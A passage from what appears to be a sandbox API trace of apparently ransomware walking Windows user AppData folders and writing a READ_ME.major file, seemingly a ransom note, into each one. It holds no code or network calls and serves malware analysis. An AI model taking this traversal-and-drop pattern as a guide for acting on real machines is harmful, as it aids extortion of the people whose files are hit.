ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31c20 [0250.489] SetLastError (dwErrCode=0x12) [0250.489] GetLastError () returned 0x12 [0250.489] SetLastError (dwErrCode=0x12) [0250.490] GetLastError () returned 0x12 [0250.490] SetLastError (dwErrCode=0x12) [0250.490] FindNextFileW (in: hFindFile=0x2f31c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f13411f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f13411f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.491] SetLastError (dwErrCode=0x12) [0250.491] GetLastError () returned 0x12 [0250.491] SetLastError (dwErrCode=0x12) [0250.491] GetLastError () returned 0x12 [0250.491] SetLastError (dwErrCode=0x12) [0250.491] FindNextFileW (in: hFindFile=0x2f31c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478a777b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x478a777b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.491] SetLastError (dwErrCode=0x12) [0250.491] GetLastError () returned 0x12 [0250.491] SetLastError (dwErrCode=0x12) [0250.491] GetLastError () returned 0x12 [0250.491] SetLastError (dwErrCode=0x12) [0250.491] FindNextFileW (in: hFindFile=0x2f31c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478a777b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x478a777b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.491] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\LocalFiles\\923\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f23f1b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f23f1b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f319a0 [0250.491] SetLastError (dwErrCode=0x12) [0250.491] GetLastError () returned 0x12 [0250.491] SetLastError (dwErrCode=0x12) [0250.491] GetLastError () returned 0x12 [0250.491] SetLastError (dwErrCode=0x12) [0250.491] FindNextFileW (in: hFindFile=0x2f319a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f23f1b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f23f1b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.492] SetLastError (dwErrCode=0x12) [0250.492] GetLastError () returned 0x12 [0250.492] SetLastError (dwErrCode=0x12) [0250.492] GetLastError () returned 0x12 [0250.492] SetLastError (dwErrCode=0x12) [0250.492] FindNextFileW (in: hFindFile=0x2f319a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478a777b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x478a777b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.492] SetLastError (dwErrCode=0x12) [0250.492] GetLastError () returned 0x12 [0250.492] SetLastError (dwErrCode=0x12) [0250.492] GetLastError () returned 0x12 [0250.492] SetLastError (dwErrCode=0x12) [0250.492] FindNextFileW (in: hFindFile=0x2f319a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478a777b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x478a777b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x478a777b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.492] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe5aa5c7c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x4813a65a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31b20 [0250.492] SetLastError (dwErrCode=0x12) [0250.492] GetLastError () returned 0x12 [0250.492] SetLastError (dwErrCode=0x12) [0250.492] GetLastError () returned 0x12 [0250.492] SetLastError (dwErrCode=0x12) [0250.492] FindNextFileW (in: hFindFile=0x2f31b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe5aa5c7c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x4813a65a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.492] SetLastError (dwErrCode=0x12) [0250.493] GetLastError () returned 0x12 [0250.493] SetLastError (dwErrCode=0x12) [0250.493] GetLastError () returned 0x12 [0250.493] SetLastError (dwErrCode=0x12) [0250.493] FindNextFileW (in: hFindFile=0x2f31b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x5800ae7c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x5800ae7c, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.493] SetLastError (dwErrCode=0x12) [0250.493] GetLastError () returned 0x12 [0250.493] SetLastError (dwErrCode=0x12) [0250.493] GetLastError () returned 0x12 [0250.493] SetLastError (dwErrCode=0x12) [0250.493] SetLastError (dwErrCode=0x12) [0250.493] GetLastError () returned 0x12 [0250.493] SetLastError (dwErrCode=0x12) [0250.493] GetLastError () returned 0x12 [0250.493] SetLastError (dwErrCode=0x12) [0250.493] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b28 [0250.601] WriteFile (in: hFile=0x1b28, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0250.602] CloseHandle (hObject=0x1b28) returned 1 [0250.602] FindNextFileW (in: hFindFile=0x2f31b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4813a65a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4813a65a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4813a65a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.602] SetLastError (dwErrCode=0x0) [0250.602] GetLastError () returned 0x0 [0250.602] SetLastError (dwErrCode=0x0) [0250.602] GetLastError () returned 0x0 [0250.602] SetLastError (dwErrCode=0x0) [0250.602] FindNextFileW (in: hFindFile=0x2f31b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4813a65a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x4813a65a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x4813a65a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.602] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31960 [0250.603] SetLastError (dwErrCode=0x12) [0250.603] GetLastError () returned 0x12 [0250.603] SetLastError (dwErrCode=0x12) [0250.603] GetLastError () returned 0x12 [0250.603] SetLastError (dwErrCode=0x12) [0250.603] FindNextFileW (in: hFindFile=0x2f31960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.603] SetLastError (dwErrCode=0x12) [0250.603] GetLastError () returned 0x12 [0250.603] SetLastError (dwErrCode=0x12) [0250.603] GetLastError () returned 0x12 [0250.603] SetLastError (dwErrCode=0x12) [0250.603] FindNextFileW (in: hFindFile=0x2f31960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.603] SetLastError (dwErrCode=0x12) [0250.603] GetLastError () returned 0x12 [0250.603] SetLastError (dwErrCode=0x12) [0250.603] SetLastError (dwErrCode=0x12) [0250.603] FindNextFileW (in: hFindFile=0x2f31960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.603] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31ae0 [0250.604] SetLastError (dwErrCode=0x12) [0250.604] GetLastError () returned 0x12 [0250.604] SetLastError (dwErrCode=0x12) [0250.604] SetLastError (dwErrCode=0x12) [0250.604] FindNextFileW (in: hFindFile=0x2f31ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.604] SetLastError (dwErrCode=0x12) [0250.604] GetLastError () returned 0x12 [0250.604] SetLastError (dwErrCode=0x12) [0250.604] SetLastError (dwErrCode=0x12) [0250.604] FindNextFileW (in: hFindFile=0x2f31ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.604] SetLastError (dwErrCode=0x12) [0250.604] GetLastError () returned 0x12 [0250.604] SetLastError (dwErrCode=0x12) [0250.604] SetLastError (dwErrCode=0x12) [0250.604] FindNextFileW (in: hFindFile=0x2f31ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.604] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31be0 [0250.604] SetLastError (dwErrCode=0x12) [0250.604] GetLastError () returned 0x12 [0250.604] SetLastError (dwErrCode=0x12) [0250.604] SetLastError (dwErrCode=0x12) [0250.605] FindNextFileW (in: hFindFile=0x2f31be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.605] SetLastError (dwErrCode=0x12) [0250.605] GetLastError () returned 0x12 [0250.605] SetLastError (dwErrCode=0x12) [0250.605] SetLastError (dwErrCode=0x12) [0250.605] FindNextFileW (in: hFindFile=0x2f31be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.605] SetLastError (dwErrCode=0x12) [0250.605] GetLastError () returned 0x12 [0250.605] SetLastError (dwErrCode=0x12) [0250.605] SetLastError (dwErrCode=0x12) [0250.605] FindNextFileW (in: hFindFile=0x2f31be0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.605] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f319e0 [0250.605] SetLastError (dwErrCode=0x12) [0250.605] GetLastError () returned 0x12 [0250.605] SetLastError (dwErrCode=0x12) [0250.605] SetLastError (dwErrCode=0x12) [0250.605] FindNextFileW (in: hFindFile=0x2f319e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.606] SetLastError (dwErrCode=0x12) [0250.606] GetLastError () returned 0x12 [0250.606] SetLastError (dwErrCode=0x12) [0250.606] SetLastError (dwErrCode=0x12) [0250.606] FindNextFileW (in: hFindFile=0x2f319e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.606] SetLastError (dwErrCode=0x12) [0250.606] GetLastError () returned 0x12 [0250.606] SetLastError (dwErrCode=0x12) [0250.606] SetLastError (dwErrCode=0x12) [0250.606] FindNextFileW (in: hFindFile=0x2f319e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.606] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31c60 [0250.606] SetLastError (dwErrCode=0x12) [0250.606] GetLastError () returned 0x12 [0250.606] SetLastError (dwErrCode=0x12) [0250.606] SetLastError (dwErrCode=0x12) [0250.606] FindNextFileW (in: hFindFile=0x2f31c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e074d37, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e074d37, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.606] SetLastError (dwErrCode=0x12) [0250.606] GetLastError () returned 0x12 [0250.606] SetLastError (dwErrCode=0x12) [0250.607] SetLastError (dwErrCode=0x12) [0250.607] FindNextFileW (in: hFindFile=0x2f31c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.607] SetLastError (dwErrCode=0x12) [0250.607] GetLastError () returned 0x12 [0250.607] SetLastError (dwErrCode=0x12) [0250.607] SetLastError (dwErrCode=0x12) [0250.607] FindNextFileW (in: hFindFile=0x2f31c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x48165ac0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x48165ac0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.607] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_US\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31a20 [0250.607] SetLastError (dwErrCode=0x12) [0250.607] GetLastError () returned 0x12 [0250.607] SetLastError (dwErrCode=0x12) [0250.607] SetLastError (dwErrCode=0x12) [0250.607] FindNextFileW (in: hFindFile=0x2f31a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5e98a62e, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98a62e, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x48165ac0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.607] SetLastError (dwErrCode=0x12) [0250.607] GetLastError () returned 0x12 [0250.607] SetLastError (dwErrCode=0x12) [0250.607] SetLastError (dwErrCode=0x12) [0250.607] FindNextFileW (in: hFindFile=0x2f31a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, 